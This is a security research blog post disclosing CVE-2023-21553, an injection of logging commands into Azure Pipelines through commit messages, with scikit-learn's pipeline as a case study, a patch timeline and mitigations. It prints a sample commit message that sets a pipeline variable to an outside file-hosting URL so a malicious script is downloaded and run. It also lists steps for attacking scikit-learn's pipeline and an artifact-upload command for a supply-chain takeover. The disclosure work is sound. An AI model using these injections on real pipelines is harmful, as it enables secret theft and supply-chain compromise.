Remote Code Execution Vulnerability in Azure Pipelines Can Lead To Software Supply Chain Attack

The Legit Security research team has found a vulnerability in Azure Pipelines (CVE-2023-21553) that allows an attacker to execute malicious code in a context of a pipeline workflow, which allows attackers to gain sensitive secrets, move laterally in the organization, and initiate supply chain attacks.

Azure Pipelines is a CI/CD framework that allows automating your CI/CD, running tests, and can boost your software delivery. Azure Pipelines require access to code and use critical and high-privileged secrets like cloud deployment keys. A malicious attacker with access to your Azure Pipelines could access your organization’s crown jewels. That’s why we at Legit Security Labs keep looking for new risks and vulnerabilities that put our customers and the community at risk of a breach or a software supply chain attack. In this research, we found a remote code execution vulnerability in Azure Pipelines that allows attackers to gain complete control of variables and tasks. The vulnerability affected both the SaaS service (Azure DevOps Services) and the self-hosted service (Azure DevOps Server). This blog post will cover Azure Pipelines' basic principles and our research findings.

Azure Pipelines Scripts

Let's first take a quick overview of Azure Pipelines scripts. Even if you are familiar with this subject, some tweaks and features may be surprising and relevant to understanding the attack flow.

Azure Pipelines can be integrated with Azure Repos Git, GitHub repositories, Bitbucket, and more. In this blog post, we’ll use a GitHub repository as an example. After connecting your GitHub repository with Azure Pipelines, you can start and play around with the many pipelines features. We created a basic YAML pipeline file that does the following:

Print some run information - branch name, commit messages, environment URLs (lines 9-15)
Download an external script (for example, testing utils or an external dependency) (lines 17-18)
Execute the downloaded script and print out the results (lines 19-23)

Blog - Azure Pipeline YAML Example

Azure Pipelines YAML example

User-defined variables

In our script, we have used user-defined variables. These are variables that you can set in specific scopes. A scope is a namespace where a variable is defined, and its value can be referenced. It can be defined in either root, stage, or job levels in YAML pipelines. You can also specify variables outside of a YAML pipeline in the UI. Another way to modify a variable is by logging commands (we will elaborate more on that in the next section). In the script above, we created the verificationUrl variable to store the download URL for the external bash script.

Another important group of variables is System variables used for system runtime information, such as pipeline author or end user. System variables in YAML can be accessed via predefined values.

What Are Logging Commands?

Azure Pipelines allows variable modifications and task changes using logging commands. Logging commands are how tasks and scripts communicate with the agent. They cover actions like creating new variables, marking a step as failed, and uploading artifacts. Logging commands are used by printing out a command with a matching syntax.

The command prefix is ##VSO, followed by specific properties and features.

##vso[area.action property1=value;property2=value;...]message

In the pipeline script below, you can see how a variable was declared in the script beginning and was edited using logging commands in other steps in the process.

Blog - YAML pipeline that edits a variable using logging-commands

YAML pipeline that edits a variable using logging-commands

Exploiting logging commands to gain pipeline control

If a malicious actor can get their carefully crafted string printed or echoed, they can gain access to variables and tasks in the pipeline. We need to find a pre-defined variable that can be controlled externally. Once this variable is printed, we could change existing variables or set new variables and gain control over the pipeline.

After a search through every variable in the “Predefined variables” list, it was clear that only the build variables are relevant to our case. Build variables contain information on a specific build, such as the repository name and id, who triggered the build, which commits are submitted in this push, and so on. These are the only variables that can be influenced by an actor with no direct access to the Azure Pipelines environment. An attacker only needs permission to create a pull request or push a commit to exploit this vulnerability.

We need to modify one of the build variables we can control to inject a logging commands syntax. The logging commands syntax requires us to include special characters such as “#[];=” which made it impossible for the variable to be something like a branch name or repository name. The build variable we used for our exploit demonstration was Build.SourceVersionMessage, which holds the commit message to inject logging commands.

Going back to our initial pipeline script, we can see that if we make a commit message that edits the verificationUrl variable, we can change the download URL, download a malicious bash script, and gain access to the organization's pipeline. The commit message to exploit this pipeline will look like this:

git commit -m "##vso[task.setvariable variable=varificationUrl]https://cdn-114.anonfiles.com/sd5dA6Gay6/1487db0b-1668008076"

The video below shows how we exploited the pipeline shown in this article.

scikit-learn as a case-study

As part of the disclosure process, we searched for existing projects that might be vulnerable. One of those projects was scikit-learn, a popular python machine-learning framework with over 50,000 stars and over 23,000 forks on GitHub.

As part of the pipeline, there is a job to print the source version message. The commit message is saved into a variable called commit. That variable is used later on in the pipeline for information and control flow logic. In the image below, you can see on line 14 the commit message displayed, which allows running logging commands.

Blog - Example pipeline run from scikit-learn’s ADO pipeline

Example pipeline run from scikit-learn’s ADO pipeline

The flow of calling the get_commit_message script is described in the attack path:

Blog - azure-pipelines_yml - job_git_commit image We can see how the file - get_commit_message.py calculates and prints the latest commit message (lines 16-18). The scikit-learn Azure pipeline is publicly available - https://dev.azure.com/scikit-learn/scikit-learn/_build.

Blog - The vulnerable get_commit_message function from scikit-learn The vulnerable get_commit_message function from scikit-learn

The steps to carry out an attack on scikit-learn are as follows:

Fork the scikit-learn repository
Create a pull request that appears to be innocent, for example, fixing a typo.
The last commit message in the pull request will contain malicious content.
Upon acceptance of the pull request, the BUILD_SROUCEVERSIONMESSAGE will be updated with the malicious commit message, and the logging command will be executed. Please note that while we can edit the pipeline script within the pull request context, we do not have access to any secrets or artifacts, so this does not pose a security risk.
After a maintainer review, the innocent-looking pull request will be merged into the main branch.
The malicious logging command will then be executed on the main branch with the production configuration.

Exploiting the scikit-learn pipeline can be done using upload/associate logging commands. These commands will allow attackers to take over the artifacts of scikit-learn and carry on a wide software supply chain attack.

Upload: Upload an artifact
##vso[artifact.upload]local file path

Once an attacker finds a vulnerable pipeline, like in this example, they could read all secrets available to the pipeline job, which are usually very sensitive and contain API keys, database passwords, or cloud credentials. Another option is to modify the build output and carry on a supply chain attack - just like in the SolarWinds incident. There are over 407,000 projects that use scikit-learn; all of these projects could have been impacted by this attack to carry a massive supply chain attack.

Mitigations and patch instructions

If you are using Azure DevOps Sevices, you don't need to do anything, as it receives patches immediately and is always kept updated. If you are using Azure DevOps Server, check that you are running the latest version by following the guidance provided by Microsoft.

If you find that you are running a version lower than Azure DevOps Server 2020.1.2, please be sure to update your server by following the specific update guidelines.

Summary

Printing and logging untrusted data is not considered a security risk, making this vulnerability robust and widely exploitable. An attacker could use commit messages or any other user-controlled variable to inject logging commands that will result in overwriting existing variables and pipeline takeover. The attacker could escalate this vulnerability to gain lateral movement by leveraging exfiltrated secrets and access keys. This vulnerability was disclosed as high-severity remote code execution.

Timeline

Sep 5, 2022: Vulnerability was reported to MSRC
Sep 8, 2022 - Sep 14, 2022: Exchange of information with MSRC
Sep 16, 2022: Bounty awarded
Nov 16, 2022: A fix released for Azure DevOps Services: published in azure-pipeline-agent - Fix vso commands execution in vulnerable variables (#3987) · microsoft/azure-pipelines-agent@65ee7d9
Feb 14, 2023: A fix released for Azure DevOps Server: CVE-2023-21553

Legit Security Can Help You Prevent Software Supply Chain Attacks

The Legit Security platform connects to your Azure DevOps environment and detects attack attempts in your pipeline and much more. If you are concerned about these vulnerabilities and others across your software supply chain, please contact us or request a demo on our website.

Useful links and further reading

Learn more about Azure pipelines:

A tutorial explaining the fundamentals for creating the first pipeline
Customize your pipeline
Azure Pipelines defined variables and syntax
Setting variables in the pipeline

Securing your Azure Pipelines environment - list of links recommended by MSRC as part of the disclosure process: